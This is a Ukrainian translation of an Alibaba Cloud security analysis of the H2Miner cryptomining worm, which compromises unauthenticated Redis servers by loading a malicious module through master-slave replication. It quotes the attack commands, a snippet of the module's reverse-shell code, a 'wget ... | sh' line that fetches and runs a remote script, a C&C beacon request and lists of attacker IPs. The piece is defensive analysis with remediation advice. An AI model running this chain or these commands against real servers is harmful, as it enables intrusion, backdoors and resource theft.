Виявлено новий спалах H2Miner черв'яків, які експлуатують Redis RCE

День тому один із серверів мого проекту був атакований подібним хробаком. У пошуках відповіді питання «що це було таке?» я знайшов чудову статтю команди Alibaba Cloud Security. Оскільки я не знайшов цієї статті на хабрі, то вирішив перекласти її спеціально для вас.

Вступ

Нещодавно команда безпеки Alibaba Cloud виявила раптовий спалах H2Miner. Цей тип шкідливого черв'яка використовує відсутність авторизації або слабкі паролі для Redis як шлюзи до ваших систем, після чого синхронізує свій власний шкідливий модуль з slave за допомогою синхронізації master-slave і, нарешті, завантажує цей шкідливий модуль на атаковану машину і виконує шкідливі інструкції.

У минулому атаки на ваші системи в основному здійснювалися за допомогою методу, що включає заплановані завдання або SSH-ключі, які записувалися на вашу машину після входу зловмисника в Redis. На щастя, цей метод не вдається використовувати часто через проблеми з контролем дозволів або через різні версії системи. Тим не менш, цей метод завантаження шкідливого модуля може безпосередньо виконувати команди атакуючого або отримувати доступ до шелла, що є небезпечним для вашої системи.

Через велику кількість серверів Redis, розміщених в інтернеті (майже 1 мільйон), команда безпеки Alibaba Cloud, як дружнє нагадування, рекомендує користувачам не надавати доступ до Redis з мережі та регулярно перевіряти надійність своїх паролів, а також, чи не піддаються вони швидкого підбору.

H2Miner

H2Miner - це майнінг-ботнет для систем, на базі Linux, який може вторгатися у вашу систему різними способами, включаючи відсутність авторизації в Hadoop yarn, Docker, і вразливість віддаленого виконання команд Redis (RCE). Ботнет працює шляхом завантаження шкідливих скриптів та шкідливих програм для майнінгу ваших даних, горизонтального розширення атаки та підтримки командно-контрольного (C&C) зв'язку.

Redis RCE

Знаннями з цього питання поділився Павло Топорков на ZeroNights 2018. Після версії 4.0, Redis підтримує функцію завантаження зовнішніх модулів, яка надає користувачам можливість завантаження файлів so, скомпільованих за допомогою C Redis для виконання певних команд Redis. Ця функція хоч і корисна, але містить вразливість, коли в режимі master-slave файли можуть бути синхронізовані з slave через режим fullresync. Це може бути використане атакуючим для передачі шкідливих файлів so. Після завершення передачі зловмисники підвантажують модуль на екземпляр Redis, що атакується, і виконують будь-яку команду.

Аналіз шкідливого хробака

Нещодавно команда безпеки Alibaba Cloud виявила, що розмір групи шкідливих майнерів H2Miner різко зріс. Відповідно до аналізу, загальний процес виникнення атаки виглядає так:

Виявлено новий спалах H2Miner черв'яків, які експлуатують Redis RCE

H2Miner використовує RCE Redis для повноцінної атаки. Спершу зловмисники атакують незахищені сервери Redis або сервери зі слабкими паролями.

Потім вони використовують команду config set dbfilename red2.so щоб змінити ім'я файлу. Після цього атакуючі виконують команду slaveof для встановлення адреси хоста реплікації master-slave.

Коли атакований екземпляр Redis встановлює з'єднання master-slave із шкідливим Redis, який належить зловмиснику, атакуючий відправляє заражений модуль за допомогою команди fullresync для синхронізації файлів. Потім файл red2.so буде завантажений на машину, що атакується. Після цього зловмисники використовують модуль завантаження ./red2.so щоб завантажити цей файл so. Модуль може виконувати команди зловмисника або ініціювати зворотне з'єднання (бекдор) для отримання доступу до машини, що атакується.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

Після виконання шкідливої ​​команди, такої як / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, зловмисник скине ім'я файлу резервної копії та зробить вивантаження системного модуля, щоб очистити сліди. Тим не менш, файл red2.so, як і раніше, залишатиметься на атакованій машині. Користувачам рекомендується звернути увагу на наявність такого підозрілого файлу в папці екземпляра Redis.

На додаток до знищення деяких шкідливих процесів для крадіжки ресурсів, зловмисник пішов шкідливим сценарієм, завантаживши і запустивши шкідливі файли в бінарному вигляді, щоб 142.44.191.122/kinsing. Це означає, що ім'я процесу або ім'я каталогу, що містить kinsing на хості, може вказувати на те, що ця машина була заражена цим вірусом.

Згідно з результатами реверсивної розробки, шкідлива програма здебільшого виконує такі функції:

  • Завантаження файлів та їх виконання
  • Майнінг
  • Підтримка зв'язку C&C та виконання команд атакуючого

Виявлено новий спалах H2Miner черв'яків, які експлуатують Redis RCE

Використовуйте маска для зовнішнього сканування, щоб розширити вплив. Крім того, IP-адреса сервера C&C жорстко зашифрована в програмі, і хост, що атакується, буде взаємодіяти з сервером зв'язку C&C за допомогою HTTP запитів, де інформація зомбі (зламаного сервера) ідентифікується в заголовку HTTP.

Виявлено новий спалах H2Miner черв'яків, які експлуатують Redis RCE

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Інші методи атак

Виявлено новий спалах H2Miner черв'яків, які експлуатують Redis RCE

Адреси та посилання, які використовує черв'як

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

с&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Порада

По-перше, Redis не повинен бути відкритим для доступу до Інтернету і повинен бути захищений надійним паролем. Також важливо, щоб клієнти перевіряли, відсутність файлу red2.so в директорії Redis і відсутність «kinsing» в імені файлу / процесу на хості.

Джерело: habr.com

Додати коментар або відгук